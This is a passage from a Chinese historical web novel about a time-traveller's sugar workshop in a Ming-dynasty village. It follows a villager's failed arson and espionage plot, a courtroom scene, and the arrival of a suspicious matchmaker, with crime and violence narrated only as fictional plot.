杨二蛋满脸泪水,嘶吼道:“我不跟杨成比,我还不能跟杨草比吗?他爹是个贼啊! 村里人看我比看杨草还坏,杨成他娘有鸡蛋给杨草吃,却从来不正眼看我! 娘,等我有钱了,我一定带你离开杨家湾,到城里过好日子去!这地方没人拿咱们当亲人啊!” “住口!” 老族长终于忍不住了,脸色铁青。 刘婶儿哀求地看着老族长:“厚德叔,你别……” 老族长重重地一顿拐杖,满脸的褶子里都是怒火,把刘婶儿的话堵了回去。 “瞒来瞒去,瞒出仇来了,你还想瞒!” 第三十四章 父子 老族长上前一步,怒视着杨二蛋:“你知道你爹是怎么死的吗?他是个逃兵! 杨将军带着儿子们跟元兵打仗时,他作为杨将军亲兵,本来应该誓死护卫主将! 可结果他逃了。被元兵俘虏后,还贪生怕死,给元兵引路,绕过伏兵去打白家村! 那支元兵最终被杨将军追上打跑了,你爹死在了乱军里。那时你才三四岁! 是你娘求将军把这事儿瞒下的,她怕你以后在村里没法做人! 本来你家是一点抚恤银都不该有的,那钱是将军自己掏的,说毕竟他没把人往杨家湾领!” 现场一片寂静,有一些村民头一次知道这事儿,惊讶得张大了嘴。 而也有一些人神情淡然,显然是早就知道这件事儿。 杨二蛋神情极度震惊,脸都扭曲了,他摇着头,指着老族长。 “不,不可能!我爹是英雄,他怎么会是逃兵,不可能!你胡说!” 铁匠冷声道:“族长说的是真的。当时我也是杨将军的亲兵,这是我亲身经历。 而且那一战,杨将军死了三个儿子,是所有战斗中最惨烈的一次。 因为杨家军最擅长打伏击战,可那次却是无奈的追击战,就是因为你爹!” 另外几个村民也站出来证明,最后刘婶儿也哭了,瘫坐在地上。 “二蛋啊,他们说的都是真的。白寡妇……你白婶儿,白家村是她娘家。 当时她还没嫁过来,元兵已经快进村了,要不是杨将军赶走了元兵…… 你还想她给你鸡蛋吃?她这么好说的人,这么多年都没提过这事儿,你还想怎么样!” 杨二蛋像被抽空了筋骨一样,整个人瘫在地上。 许久后,忽然起身跪在地上,冲着刘婶儿边哭边磕头,额头见血。 “娘,是我不孝,我过去太浑蛋了!我让您受苦了!以后我一定好好干,好好孝顺您啊!” 村民们都心情沉重,父亲造的孽,儿子来承受,虽然天经地义,但设身处地,也为杨二蛋难受。 众人的目光不由自主地看向杨成,自从分钱和买柴山以来,杨成已经隐然成了后备族长。 杨成浪子回头时,村里人毫无保留地拥抱了他。如今又一个浪子要回头了…… 如果杨成不接受,那他和挤上车就喊司机快关门的人渣有什么区别…… “那就让他来试试吧,试三天,先从砍柴开始。” 村里人对这个温馨的结局都十分满意,李正在全家吃饭时特别表示赞赏。 “君子之德,不记旧恶,春风化雨。看来杨成最近苦读圣贤之书,进步很大啊!” 李香儿反对:“什么春风化雨,工坊人够了的,还招人!有了钱就大手大脚的,明天我去看看。” 李正娘子轻声细语地说道:“那是人家杨成的工坊,好坏与你有什么想干? 把你急得什么似的,不知道的,还以为那工坊是你的产业呢。” 李香儿一愣,顿时低头闭嘴,心里默默反思。 是啊,他的工坊,跟着急个啥呀?我这段时间好像有点不对劲啊! 但随后她就给自己找到了理由,开始心安理得了。 杨成说过:这工坊不仅是他的,还是整个杨家湾的,自然也有自己一份…… 杨二蛋进工坊后,被安排在工坊空地砍柴,进不去里面,也接触不到核心机密。 杨二蛋卖力地干着,常年浪荡有点虚,很快他的衣服就湿透了。 杨草走过去拍拍他:“二蛋哥,把上衣脱了吧,你看我们都这样,衣服湿了难受呢。” 杨二蛋感激地笑了笑,把湿透的上衣脱下来,放到柴堆上,继续干活。 中午时分,工坊后院传来噹噹声,族长的大儿媳以盆当锣,敲响了吃饭的锣声。 此时农家大多是两顿饭,只有农忙时才会吃三顿,但工坊里一直都是三顿饭。 糖霜工坊是真挣钱,但也是真辛苦,比种地砍柴都累,不吃饱喝足,干活扛不住。 杨牛一边穿上衣服往后院走,一边抱怨:“婶儿啊,你能不能别把你叫猪吃食的方式带到这儿来?” 食堂主理人不屑一顾:“你就说饭菜好不好吃吧,只要是喘气的,全村数我养得好!” 一个和她平辈的男人笑道:“那咋把我大哥养那么瘦,明明天天都有那么肥腻的两块肉吃。” 然后嘴贱的男人眼看着勺子一抖,掉出去两大块肥腻的肉,哭丧着脸端着饭盆儿离开了。 杨二蛋排在倒数第二,杨草排在倒数第一。杨二蛋知道,杨草是在盯着他。 杨草他爹当年号称神偷,杨草这小子眼睛也毒着呢,肯定是杨成安排他看着自己的。 杨二蛋老老实实地上前打饭,他的饭盆里比别人的肉只多不少,他感激地笑了笑。 端盆回到工坊门口,杨二蛋在柴堆上坐下吃饭。 小黑看他劈了一上午柴了,知道是自己人,也不叫,懒洋洋地躺着晒太阳。 杨二蛋啃了两口骨头,冲小黑招招手,把还带着不少肉的骨头分给了小黑。 小黑警惕地嗅了嗅,然后叼走啃了起来。 杨二蛋也开始大口吃饭,脸上洋溢着幸福的微笑。 夜深人静,一个黑影缓缓靠近工坊,身影灵活,脚步轻巧。 工坊虽在村子偏后的位置,但前后左右也都有人家,只要小黑一叫,立刻就会有人赶来。 而且在工坊前面的门房里,杨草和杨牛轮流住在里面,从不断人。 可今天小黑一反常态,毫无动静,趴在地上打着呼噜,睡得很熟。 黑影靠近门房,拿出一根竹管儿来,轻轻插入窗户,吹进迷烟。 做完这一切,黑影才松了口气,转身来到那间锁得最严实的房间门前。 黑影掏出一根铁丝,在锁头上耐心鼓捣起来。很快三把锁都鼓捣开了。 进屋后,黑影晃亮火折子,仔细地看起那屋里的各种设备,然后掏出一张纸来,开始画画。 等画完后,黑影看着一屋子带着金属光泽的炭,似乎犹豫了一下。 然后他咬咬牙,还是将火折子扔向炭堆,随即转身就走。 “成哥说,不管你干什么,只要不杀人放火,都会放你一马。 可惜,真让成哥说中了,你连你爹都不如,你爹至少还知道不祸害自己村子呢!” 第三十五章 放火 杨二蛋豁然转身,看着杨草从炭堆后面慢慢站起来,手中握着已经熄灭的火折子。 “你一直躲在这间工坊里?那门房里是谁?我看见杨牛今天回家了。” 咣当一声,坊门关闭,杨成拎着一把寒光闪闪的斧子,站在门口。 “杨牛没有回家,他去了我家,估计你来之前去我家看过吧,是不是见到我屋里有灯有人影了?” 杨二蛋眯起眼睛:“你猜到我会来?所以设好了圈套等着我?” 杨成点点头:“你的演技很不错,把浪子回头的主题演绎得很精彩。 只可惜,那是在他们眼里。这天地下没有人,比我更懂你这种人了,我见过太多了。” 杨二蛋看着杨成,忽然笑道:“我一直以为我是村里最聪明的人,想不到你也不差。 我想问问,你究竟是怎么看出我是在演戏的?我应该演得很好才对啊!” 杨成淡然道:“有个瞎子给人算卦,只问了生辰八字,就算出了那人刚经历过血光之灾。” 杨二蛋愣住了:“什么意思?你也会算卦吗?” 杨成摇头:“不,因为瞎子看见了那人头上包着布,还往外渗血呢。” 杨二蛋恍然大悟:“瞎子是装的,他其实能看见。不过这和我演戏有什么关系?” 杨成叹了口气:“因为你早就知道你爹的事儿了,所以你的表演就很难真实。 表情做作,略显浮夸,整个表演流于表面,其实你不会演戏。” 杨二蛋这次真的愣住了:“你怎么知道我知道我爹的事儿?” 杨成淡然道:“因为我懂人心,你平时看我的眼神儿,并不是只是嫉妒和不服。 多年前,我有一个兄弟就曾这样看过我,当时我不懂。 因为他欠我很多,他的命都是我救的,可后来,他在背后捅了我最狠的一刀。 所以我看见你的眼神就知道,你知道你爹的事儿,你知道你爹对不起我家。” 杨二蛋不解:“多年前?你才多大点岁数儿,谁背后捅过你一刀?” 杨成笑道:“你就当我做过黄粱梦吧,在梦里我岁数可比你大多了。” 杨二蛋皱眉道:“就算做梦吧,可这是什么道理?对不起你,不是应该对你心怀愧疚吗?” 杨成点点头:“正常人是这样,可总有些人不正常。他会自卑,因而生恨。 这种人,他越对不起你,他就越自卑,内心深处就越恨你。” 杨二蛋默然片刻:“早知道这样,平时我就该少看你两眼的。” 杨成摇摇头:“那也没用。因为我压根就不信你不知道。 一件事,有超过三个人知道,就很难保密了。咱村里知道此事的人,可不止三个。 连我娘都跟我说过。这种事儿,也就只有你娘才会觉得能瞒住你。” 杨二蛋笑了笑:“就算我知道,我也可能会浪子回头啊,我演戏也可能是为了让大家接纳我啊。 你当初要浪子回头,不也演了一场梦见父祖,幡然醒悟的戏吗?” 杨成也笑了:“我在梦里明白了一件事。如果一个人,是因为我对不起他而恨我,那这事就可以和解。 可如果这个人是因为他对不起我而恨我,那就不要指望能和解了。 因为前者是正常的人性,还有救;后者是一种变态的人性,没救了。” 杨二蛋深吸一口气:“你怎么知道我今晚就会来?难道我不来,你还天天埋伏我?” 杨成头往外歪了歪:“你在肉骨头里下了蒙汗药,所以小黑睡得很熟。 你不敢下毒药,因为工人离开时看见小黑睡觉很正常,但如果看见小黑死了,就会很糟糕,对吧。 而且我猜,指使你的人不管是谁,根子都在白鹿山那儿。 以他现在火烧眉毛的情况,你肯定是越早动手越好,他扛不了几天了。” 杨二蛋盯着杨成手里的斧子:“你为什么不喊人来?还是说,你想杀了我?” 杨成也看着杨二蛋:“你有没有想过,你死了之后,你娘还能不能活?” 杨二蛋眯起眼睛:“小子,我是我,我娘是我娘,你若敢动她一根汗毛……” 杨成不为所动:“弄到设备图,再放火烧了糖霜工坊,白鹿山就可以自己生产,控制市场了。 你这趟活儿挣了不少钱吧?你不是说挣钱了要带着你娘进城过好日子吗? 可今天就算我不杀你,只要把你交给族人公审,你也活不了。 族里刚买的柴山,别说埋你一个人,就是连你娘一起埋了,官府也发现不了。 若有人问,只说你带着你娘离开村子,不知所踪了,官府也不会管。” 杨二蛋打了个冷战,他知道杨成所言非虚。他放火烧糖霜工坊,等于烧大家的房子。 在涉及全族核心利益的时候,族规往往比大明律还凶残,杀人并不是多罕见的事儿。 杨二蛋从腰间拔出一把长匕首,锋刃在微光下闪烁,怒道。 “小崽子,你找死。你以为我这些年是白混的?我还是丐帮的记名弟子呢!” 杨成举起斧子:“你拿刀的姿势挺帅的,可惜不是拼命的招儿。像你这样的,我以前能打十个。” 片刻后,一声惨叫,杨二蛋捂着右臂躺在地上。 惨叫声惊动了住在附近的人,好几户人家亮起灯烛,很多脚步声向工坊涌来。 杨成蹲下身子:“你也不想你娘陪着你一起死吧……” 第二天,杨家湾几十个男人,押着断了一条胳膊的杨二蛋,带着状纸,直奔县衙。 苦主是杨草,他状告杨二蛋受人指使,行刺杀人,火烧糖霜工坊。 幸亏杨二蛋天良未泯,经过激烈的思想斗争后,在母亲的感化下,断臂明志,投案自首。 现有杨二蛋服辩一张,本人上堂作证,请知县大人明断。 知县郭纲拿起服辩来,脑袋嗡的一声,暗暗叫苦。 服辩第一行明白写着:本人杨二蛋,受白鹿山指使,放火烧糖霜工坊。 不管怎样,流程必须正大光明,所以郭纲立刻派人把白鹿山传来了。 在路上牛师爷已经把情况告诉了白鹿山,所以白鹿山虽然愤怒,但并不惊慌。 到场后更是矢口否认,只说自己从未见过杨二蛋,更没雇他去放火。 杨二蛋却一口咬定是白鹿山找的自己,说得有鼻子有眼的,还拿出了二百贯宝钞的预付款来证明。 堂下围观群众顿时信了大半。毕竟二百贯宝钞,就是二百两银子啊,杨二蛋不可能有这么多钱。 郭纲目视白鹿山,心说你怎么找了这么个废物办事儿? 事儿没办成不说,还他妈的断臂明志,投案自首,这是正常人能干出来的事儿吗? 白鹿山也是有口难辩,他确实是冤枉的,因为他都没见过杨二蛋,这孙则是怎么办事儿的? “大人,这分明是杨二蛋受人指使,攀诬在下!” 杨草大声道:“大人,我也不信此人之言,因为白东家是我的糖霜总商,他没理由这么做啊!” 第三十六章 动机 杨二蛋捂着断了的胳膊,心里咬牙切齿,但表面上却一副浪子回头,愿意承担一切后果的样子。 他表演浪子回头其实表演得很好,围观群众不是杨成那样挑剔的奥斯卡评委,都很认可他的演技。 杨二蛋也是有苦自知,他本来包袱都收拾好了,就等着火一起来,全村救火时,带着娘远走高飞。 反正这活完事儿后,他能拿五百两银子,有了这笔巨款,他到哪儿不能过好日子? 可惜功败垂成,自己斗智没能斗过杨成,斗勇被砸断了一条胳膊,完败。 杨成给出的提议让他无法拒绝。若不答应,族人可能弄死他和他娘。 而答应了,自己成了污点证人,也算为村里立了功,娘也有脸在村里活下去。 所要付出的代价,无非是坐几年牢罢了,总比被族人活埋了强。 所以他一口咬定,就是白鹿山雇凶,二百贯的宝钞也是白鹿山给自己的。 白鹿山又是惊奇又是不解,孙则手底下怎么还能有这样一个天良未泯的感性男孩儿呢? 更让他意外的是,杨草忽然为自己开脱,这葫芦里卖的是什么药呢。 杨草背后是杨成,这一点白鹿山很明白,但杨成为何要替自己开脱呢? 杨成虽年轻,心思却老辣,杨二蛋是真自首也好,还是失手被抓了也罢,杨成肯定能想到是自己干的。 但此时白鹿山急于脱身,无暇多想,现在杨草愿意表示相信他,他当然要顺势跟进。 “县尊大人,你看,连杨草作为受害人,都愿意相信我,可见这厮胡说八道!” 郭纲点头,一拍惊堂木:“大胆杨二蛋,杨草所说有理!白鹿山是糖霜总商,有何道理雇你行凶放火?” 杨二蛋演技在线,迷茫中带着委屈,还带着三分耿直的朴实。 “回大老爷,小人也不清楚这里的弯弯绕绕。只是拿钱办事儿。 不过白东家曾说过,糖霜工坊产量太大,他已经收不起了,可违约不收又要赔很多钱。 他的糖霜总商也会丢掉,京福斋也会砸牌子,牵一发而动全身啥的,小人也不太懂……” 白鹿山脑子嗡的一声,他终于明白杨成葫芦里卖的药了,那是裹着糖霜的毒药! 百姓们议论纷纷,其中不乏富豪权贵们的仆人和管家。 这些人就像富豪权贵们的眼睛和耳朵,他们搜集到的一切消息,最后都会反馈到主人那里。 如果自己当场承认,那不出三天,富豪和权贵阶层都会知道,白鹿山已经不行了。 白鹿山不行了,京福斋自然也不行了,如果靠山听到这个风声…… “大人,这厮纯属胡说八道,绝无此事!” 杨草皱起眉头:“白东家,他这么一说,我倒是想起一件事来。 前两天刘通找我商量,想要暂停提货,说白东家那边不方便收货了。 我本来这两天还想找白东家问问呢,这究竟是怎么回事儿啊?” 白鹿山心说既然你们要往死里逼我,索性就把话说开一点。 “杨草,你明明有了更好的糖霜,却不肯卖给我,却取名霜糖,卖给别人,这是何道理?” 杨草连连摇头:“我哪有这种东西?我倒是听说世面上有,可我没那手艺,做不出来。 那东西是被人卖的,与我无关啊。可我和白东家签的契约,就是卖现在的糖霜。 白东家也不必如此为难,若真是钱不凑手了,违约金可以商量。 甚至你就是不给违约金,我们小门小户的,也不敢把你怎样。 你一句话说不方便,刘通不就乖乖把糖霜拉回来了吗,我们也没敢说什么呀,你何必……” 杨草看了杨二蛋一眼,表情充满了惊恐和委屈,就像忽然明白过来什么一样。 白鹿山知道,杨成既然敢玩这一手,就绝不会让自己抓住把柄。 他现在就算请知县带着人去搜查工坊,也绝对找不到一粒霜糖,只会更加坐实自己雇凶的动机。 承认自己不行了,会从此抬不起头来,商道会崩,靠山会倒。 不承认自己不行,就得靠吃药饮鸩止渴,硬撑着活动,还得装出一副很爽的样子。 两害相权取其轻…… “杨东家不必多心,前两天有些不便,是因为库房漏雨需要修整,所以才暂时停收的。” 杨草好不容让:“那不知库房可修好了吗?我杨家湾人多才多艺,可帮白东家修补。 白东家,我全村人指望糖霜吃饭呢,你一违约不收,我们可就没有饭吃了!” 白鹿山挤出一个比哭还难看的笑容:“修好了,修好了,刘通今日就可把糖霜送到京福斋。” 他话音未落,京福斋的二掌柜气喘吁吁地挤进人群,看见堂上阵势,却不开口。 杨草大声道:“这不是京福斋的二掌柜吗?我说让刘通去问问能否能收糖霜了,他去了吗?” 二掌柜张口结舌,尴尬地看着白鹿山。众目睽睽之下,白鹿山咬牙喝道。 “有话你就说,遮遮掩掩的,成何体统!” 二掌柜权衡一下,决定捡能说的说:“那个……刘通和潘家人都在京福斋,等着和东家说话。” 白鹿山的心都在滴血,他知道这绝不是巧合,肯定是杨成通知了两边,不知道这下又送来多少糖霜。 事实上现在杨成根本就不用生产了。刘通和潘家只要低价收购世面上的糖霜,再拿来用契约价卖给他就行。 本以为杨成的工坊烧毁了,就会像中东开战一样,世面上的糖霜价格立刻飙升。 如此一来,不但刘通和潘家低卖高卖的死局破解了,自己手里的糖霜还能大赚一笔。 当孙则提出这个办法时,自己还觉得孙则是个人才,现在想起来,这他妈的就是个棒槌! 别的不说,孙则能重用孙二蛋这么一个奇葩,他自己能聪明到哪里去? 现在双管齐下的第一管已经彻底被掰弯了,能不能破局只能看第二管能不能成功了。 带着这样的希望,白鹿山觉得自己必须先挺住,不能倒在胜利曙光出现前的黑暗里。 所以他挤出一个更像哭的笑容:“太好了,太好了,糖霜正缺货呢,他们就送来了? 全收下,有多少都收下!县尊大人,你看看,我根本就没有动机雇人放火的嘛!” 第三十七章 人如鸡 看着白鹿山比哭还难看的笑容,郭纲自然知道他是在硬撑着。 其实早已经软得不行了,但还在坚持活动,营造出一副自己还可以的假象。 不但脸上表情要控制好,还得愉快发声,以此证明自己不是被迫的,是真的想要……糖霜。 既然白鹿山已经做出了如此大的牺牲,来证明自己并无动机雇凶放火,郭纲自然也得帮衬一把。 当下一拍惊堂木:“大胆杨二蛋,你究竟受了何人指使,诬陷白鹿山?岂不知诬告反坐吗?” 诬告反坐,是大明律的重要精神,是法律尊严和民间道德最朴素的核心表达。 比起摔个跟头随便告,监控出来道个歉的处理方式,诬告反坐显得更合理一些。 一般来说,诬告反坐这话一出口,诬告之人就会十分惊恐,但杨二蛋再次刷新了众人的三观。 杨二蛋谨慎地确定:“大老爷,我告白鹿山雇我放火,我可没说过杀人的事儿啊!” 郭纲不明所以:“对,是放火,也没人说雇你杀人啊!” 杨二蛋连连点头:“按大明律,放火烧毁私产,若有人员伤亡,死人抵命,伤人棍责充军流放。 若无人员伤亡,赔偿苦主损失后,坐牢五年以上。若火势未起,则可从轻发落。 若有人指使,则指使者与放火者同罪,对吧?” 想不到这厮还精通大明律?郭纲却不知道这是杨成紧急给杨二蛋培训的结果。 “不错,所以你攀诬白鹿山,当与指使者同罪。要坐五年牢,你想想,究竟是谁指使你……” 杨二蛋胸脯一挺:“无人指使,我是个混混,曾到京福斋要钱,他们看不起我,不但没给还骂我。 所以我攀诬白鹿山,意图报复。诬告反坐,小人愿意坐五年牢!” 郭纲和堂上堂下众人都惊呆了。破案现在都这么容易了吗? 本来以为这个案子还能水不少字呢,想不到忽然就结案了。 白鹿山也十分惊讶,但也松了口气,他本来以为杨二蛋会接着供出孙则来呢。 可这厮到底是图什么呢?你要这么有种,为何要搞自己?你要没种,为何不搞孙则呢? 郭纲呆了半天,想想确实也没有再审的理由,只得宣布结案,将杨二蛋收监。 白鹿山拖着清白而沉重的脚步,在光天化日之下被迫接收了潘家和刘通的几车糖霜,挤出了最后一点银钱。 然后他跌跌撞撞地逃离了京福斋,就像个糖尿病人一样,看见糖就害怕得头晕恶心。 白鹿山回到家里时,孙则已经等在门外隐蔽处了,跟着白鹿山进了院子。 “白东家,我在人群里都看见了。那小子定是失手被抓了,是杨成逼他来告的。” 白鹿山一杯茶水泼过去:“你没屁可放了?这他妈还用你告诉我? 你怎么办事儿的,选这么个软骨头?他怎么不当场把你供出来!” 孙则抹了把脸上的茶水,不以为忤:“白东家,其实平时杨二蛋很机灵的。 你想想,要干这种事儿,不是杨家湾的人不行,外人就算能进村,也根本没法靠近工坊。 而杨家湾里的人,就只有杨二蛋跟杨成有仇,找他下手本就是最佳方案。” 白鹿山怒道:“可他失手了!而且还把我告上公堂,今天我被迫又收了好几车糖霜!” 孙则陪笑道:“但他毕竟只是虚晃一枪,杨成若真想靠这个告你,也绝对没戏。 别说是你,就是他告我,那也是毫无证据的。那两百贯宝钞又没有记号。 所以他只能将计就计,逼你继续买糖霜,却没法借这件事儿来搬倒咱们。” 白鹿山烦躁地摆摆手:“少废话,钱你收了,可活没干成!我的时间很紧! 如果你不行,我就鱼死网破,调我外面的人手,到时候连你一起收拾!” 孙则也不害怕,依旧笑道:“白东家尽管放心,另一边,已经在行动了。不过这边的人,要得更多。” 见白鹿山立起眉毛,孙则赶紧补充道:“不过人家是专业的,不会先要钱。 若是成功了,人家要两千两,若是失败了,死伤自负,分文不取。” 白鹿山愣了一下,随机咬咬牙:“若是杀了他,一切回到正轨,两千两我可以接受!” 杨家湾,听说儿子收人钱财回来搞破坏,最后悬崖勒马选择将功赎罪,刘婶儿又哭又笑。 哭的是儿子要坐五年牢,笑的是儿子比他爹强,至少最后还立了一功。 杨成给刘婶儿解释了杨二蛋自首的必要性:他若不自首,坏蛋就还会来搞破坏。 杨二蛋以自首的方式,告诉所有企图破坏杨家湾团结的坏蛋,敢动手必遭反噬! 其实这个逻辑并不算很完美,但刘婶儿接受了,而且看着杨成的眼神中,愧疚又深了一层。 活到这个年龄,其实很多事儿只要往深想想,都能想明白一些。 但为什么非要往深想呢,有时候人活着,糊涂一点更好…… 骗完刘婶儿后,杨成又去了杨铁匠家。 杨铁匠赤裸着健美的上身,正在叮叮当当地打斧头,娘子帮忙打下手儿。 杨铁匠手艺好,附近几个村也经常来找他打犁头,锄头一类的,平时也不缺活计, 但他从没这么忙过,杨成工坊里的设备就让他日以继夜了,现在又多了几百把斧头要打。 “成子,你给的斧头样式,可不光是砍柴用的,砍柴用不到那么宽的斧刃和斧柄。” 杨成点点头:“违反朝廷制度吗?” “那倒是不违反,军用的斧子斧刃要比这个更宽,斧柄更长。” “那就行了,就是要在朝廷允许的范围内,打架尽可能地好用。” 杨铁匠看着杨成,忽然笑了:“将军最开始拉起队伍时,用的是朴刀。 当时他跟我说,刀头要更厚,刀刃要更宽,刀柄要更粗,只要看上去还是朴刀就行。 等后来天下大乱,连朝廷都没了,我们才换成真正的刀枪。 所以洪武一开朝,就先把朴刀禁了,耕地还可以用,侧面一律不许开刃了。 成子,现在可不是乱世了。将军当初都解甲归田了,你可别瞎琢磨。” 杨成笑道:“我可没有造反的心思,我就想把香火传下去,让杨家湾人人吃饱穿暖。 可朝廷只管你老不老实,交没交钱。好点的朝廷可能还在乎你活没活着,已经到头了。 至于你活得好不好,受没受欺负,朝廷是不在乎的。 就像我娘养的鸡,她只关心鸡围子破没破,有没有黄鼠狼来吃鸡。至于鸡和鸡之间谁掐谁,她不在乎。 还要鸡还在下蛋,那就天下太平。偶尔掐死一两只也无所谓,反正只要有蛋就不愁鸡。 大明也一样,它会关心有没有蒙古人来抓百姓,但百姓之间的事儿,它其实不在乎。 杨家湾会越来越富,想来欺负咱们的人也会越来越多。 谁想来掐咱们,咱们就得掐死他。放心,朝廷不在乎。” 而此时,白寡妇正在拦着掐人的公鸡,往屋里让一位贵客。 “你是说真的?知县老爷愿意把女儿嫁给我儿子?” 第三十八章 好姻缘 尽管杨成已经告诉娘,这段时间先不要折腾相亲的事儿了,但这次的机会实在难以拒绝。 随着杨成的逐步升级,白寡妇对儿媳妇的期待值,就像英雄身上的道具等级一样,水涨船高。 杨成等级:杨家湾小霸王。对应儿媳等级:能生孩子就行。 杨成等级:浪子回头的好人。对应儿媳等级:正经人家的女儿。 杨成等级:小作坊主。对应儿媳等级:模样得看得过去。 杨成等级:大工坊主。对应儿媳等级:模样好,性格好,知书达理…… 但无论怎么匹配,白寡妇从没想过儿子能娶到知县老爷的女儿。 杨成就算再有钱,也是个乡下土财主,能娶个秀才公的女儿应该就是顶配了。 估计连举人都不会选一个兼祧七家的乡下财主当女婿,毕竟举人就没有穷人。 自古有穷秀才,没有穷举人,除非是被朝廷特殊针对制裁的,例如唐伯虎。 知县老爷,那可是进士,朝廷命官,女儿自然也是书香门第,知书达理,想来模样也不差。 之前白寡妇和杨成娘儿俩都垂涎于李香儿,除了肤白貌美屁股大好生养,也是因为勉强算书香门第。 这真是天涯何处无芳草,何必非在村里找,量又不多,质又不好,还把自己当个宝…… 所以白寡妇十分热情,不但立刻给媒婆泡上了高档的鸡屎香茶,还拿出了桂花斋送的顶级点心招待。 那媒婆脸上贴着膏药,头上缠着黑绸子,手拿一杆旱烟袋,一身行头简直比戏文里的媒婆还专业。 在出了杨二蛋的事儿后,不但工坊的守卫变得更加严密了,连村口哨房的杨老惊,起夜都更频繁了。 唯一还能自由往来村里的人,大概就是各地慕名而来的媒婆儿了。 没办法,村里都知道杨成身祧七家的难度。同姓不成婚,要完成这个任务,媒婆是少不了的。 就算钱不是问题,但也不是所有人家都愿意女儿去跟别人共享丈夫的。 毕竟男人这东西,浑身是铁能打几根钉儿。而且打多了还容易短命。 但即使见过众多媒婆儿的白寡妇,也不得不衷心赞美一句:呐,这就叫专业! 果然什么事儿都是讲究个等级匹配的,看人家官家小姐,连说媒的媒婆都与众不同。 媒婆吸了口烟,说话又脆又快:“这就是缘分了!当初知县老爷的公子,和令郎不打不成交啊! 因为审案见到了令郎,知县老爷当时就觉得令郎一表人才,记在了心里。 等到后来听大家都说,杨家湾出了个大财主,日进斗金,一打听,才知道就是令郎! 这还没什么,知县又听说令郎并非普通庄户人,父祖都是本地有名的乡贤,门楣不算低的! 唯一的不足就是令郎要兼祧七家,不过知县老爷说了,朝廷以孝治天下,这也是正道! 只是官家小姐,肯定要当大房娘子的,若是令郎已经娶过大房,也就有缘无分了。 结果我唐快嘴一打听同行们,令郎到现在还没定过亲呢!就知道令郎眼光高了。 你说,这不是天赐良缘是什么?令郎眼光再高,还能高过知县小姐去吗?” 白寡妇乐得合不拢嘴,想说话却一个字都插不进去。 以往在村里吵架,人人说白寡妇的嘴像炒豆子,骂得别人毫无反击之力,一败涂地。 今天白寡妇才忽然意识到,大概以往自己就像皇帝和臣子下棋总赢一样,属于身份加持。 如今遇上个不给面子的专业级选手,才知道自己水平一般。 好不容易等到媒婆唐快嘴住嘴喝茶,白寡妇才插上话儿。 “没错没错,大姐……大妹子你说得对呀!这就是天赐良缘!” 别的媒婆白寡妇都叫大姐,但这个媒婆虽然脸贴膏药,装备专业,看起来年岁不大,她就改口叫妹子了。 “聘礼啥的,都好说,咱家如今不穷的。知县老爷家有啥要求,大妹子你尽管说。” 唐快嘴摆摆手:“知县老爷虽然清廉,但也不图多少钱财的,合乎礼数就行了。 不过我临来之前,小姐私下找我有个要求。一定要令郎亲口应允婚事,免得以后生变。 因为整个海盐的媒婆都说……这家里你做不了主。” 唐快嘴说话不客气,但白寡妇却觉得理所当然。人家说的是事实嘛! 而且人家担心的有道理,万一自己答应了,儿子不肯,那不是羞辱人家吗? 真出了这种事,普通人家尚且不依,何况官宦人家,人家小姐还活不活了? 杨牛和杨草轮流在工坊值夜,今天是他休息日,正在厢房里睡得香,就被白寡妇揪着耳朵喊醒了。 白寡妇告诉杨牛,让他搜遍全村,挖地三尺,也要赶紧把杨成找回来! 杨牛揉着眼睛开始找,根本没用挖地三尺,第一站就在自己家找到了。 杨成正在耍斧子,而铁匠则在旁边观看,并提出宝贵意见。 “你爷爷是用枪的高手,所以你爹和你叔叔们大都也用枪,只有你五叔是用斧子。 看你这几下子,是照着你五叔留下的书练了很久了?可惜了,你五叔没法亲自指点你。” 其实原主比较懒散,爷爷和叔叔们留下的一些拳谱兵器谱,练是练过,但不怎么刻苦。 但杨成穿越过来之后,每天都抽时间苦练。不得不说,原主的身体顶级,遗传基因非常牛。 练武是要看天分的,杨成在前世也有过师父,拿师父的话说,当时他也算是个习武天才。 二十岁之前,杨成靠着这份天分,在刀斧拼杀之下比别人反应更快,小有名气。 二十岁那年,杨成无意中英雄救美,打了几个小混混,救了一个女学生。 那女学生的爷爷百岁高龄,据说曾是某个门派的候补掌门人,等师兄死了就轮到他。 奈何他师兄比他还能活,他干脆就放弃了候补资格,安享晚年了。 他一身功夫,可惜儿子儿媳包括孙女在内,没有练武的天分,也学不进去。 本来也是,儿子儿媳都是高知,有体面工作,既没精力也没必要受那个罪。 孙女从小娇生惯养,吃药都得先买一堆玩具的主儿,更不可能受那个苦。 所以老头一看见杨成,就两眼放光,拉着杨成的手不放。 “靓仔,我看你骨骼清奇,天赋异禀,某某门派要不要了解一下?” 第三十九章 刺杀 杨成最终没有进入那个门派,而老头还是传授了他不少真东西。 原因有二,一是老头一身功夫无人可传,阴天下雨憋得膀子难受。 二是儿子儿媳担心女儿看上杨成,搞出港台烂大街的小姐爱上古惑仔的桥段来。 给钱又觉得俗气,所以干脆顺水推舟,把老头的功夫废物利用,也算报恩了。 其实当时杨成是等着人家给钱来着,甚至连数目都在心里估算好了。 不过后来杨成就明白了,钱只能花一时,而老头教他的功夫,却让他受益终生。 靠着那一身功夫,杨成在此后的街头厮杀,明枪暗箭中,一次次死里逃生,活了下来。 其实江湖人物和说相声的没啥区别,谁活得久,谁最终就会混成大佬。 杨成最后成了大佬,老头也已经驾鹤西去。杨成曾去看望过一次那户人家,想要报答一下。 老头儿子连连摆手:“说什么报答之恩!日后你惹出祸来,不把我爹说出来连累我,就行了。” 穿越到大明后,现在的身体比原来的天分还高,而杨成仍然记得如何习武,自然进展很快。 正在此时,杨牛找过来:“哥,白婶儿让你赶紧回家,有媒婆给你说亲,好像是知县家的小姐!” 杨成十分意外,一边往回走一边琢磨这件事儿的可行性。 看郭纲和郭永的模样,郭小姐模样应该也不会太差,但知县为啥要把女儿嫁给自己呢? 自己有钱,而且霜糖以后还能挣更多的钱,这一点郭纲能看出来。 郭纲自己不敛财,但全家锦衣玉食,是因为白鹿山在供着。 郭纲爱财,取之有道,他这是看白鹿山这个钱袋子漏了,所以要找个新的? 可白鹿山肯吗?他如果真这么容易就趴下,他当初就不可能独占糖霜市场,挤垮桂花斋了。 杨成带着疑问,拎着斧子回到家,把白寡妇吓了一跳。 “这孩子,这段时间是怎么了,到哪儿都拎着斧子,不知道的还以为你是樵夫呢!” “娘,拎斧子的不一定是樵夫,没准是李逵呢。” “谁是李逵,算了,听着就不像啥好东西,赶紧放下,身上的土拍拍!” 杨成拍拍身上的土,走进屋里,看着那个高端的媒婆。 当杨成凝视着媒婆的时候,媒婆也在凝视着他。 “你就是糖霜工坊的东家,杨成?” 